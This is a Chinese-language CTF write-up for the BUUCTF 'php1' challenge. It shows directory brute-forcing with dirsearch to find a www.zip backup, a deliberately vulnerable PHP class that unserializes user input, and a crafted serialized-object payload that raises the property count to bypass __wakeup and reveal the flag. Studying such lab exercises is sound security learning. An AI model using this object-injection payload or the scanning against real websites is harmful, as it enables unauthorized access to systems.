buuctf php1

首先要介绍一下dirsearch  ,它是基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件。(在kali里面使用)

下载指令 :git clone https://github.com/maurosoria/dirsearch.git

使用的指令:cd dirsearch/     切到下载dirsearch的目录下面(具体要看下载好的dirsearch在哪里):  ./dirsearch.py -u 目标网址-e*

这个实际上就是我之前看到的执行.py文件脚本的方法,还有下载wmtools的时候也是像这种格式(目录下面执行里面的脚本文件)

优势所在:

  • 它包括多线程,使其比任何其他站点扫描仪工具都快
  • 它执行递归暴力破解
  • 它具有HTTP代理支持
  • Dirsearch有效地检测到无效网页
  • 它具有用户代理随机化和批处理功能
  • 支持请求延迟

 python dirsearch.py  -h  查看帮助菜单

 

————————————————————————————————————————————————

题目说是备份文件就直接使用dirsearch扫目录,扫除源文件备份

 

 

 报错没有配置好dos服务器    ,解决办法:直接百度求解

 扫描成功之后下载的文件夹,文本会在request目录下面(和githack差不多)

 

 

扫描发现www.zip包解压发现是php

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

查看到源码

<?php
include 'flag.php';

error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();

}
}
}
?>

代码审计

开始构造payload

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

满足条件的就是这样,但是为了避免魔术函数的执行把2改为3,,(这是在反序列化函数unserialize教学里面看到的)

o表示项目,4是项目的名字长度,2是表示有两个对象,s表示字符串,14是长度,name username是元素,后面一样

 

url+?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

————————————————————————————————————————————————————————————————————————————

 

posted @ 2021-01-25 23:32  ctfliar  阅读(312)  评论(0)    收藏  举报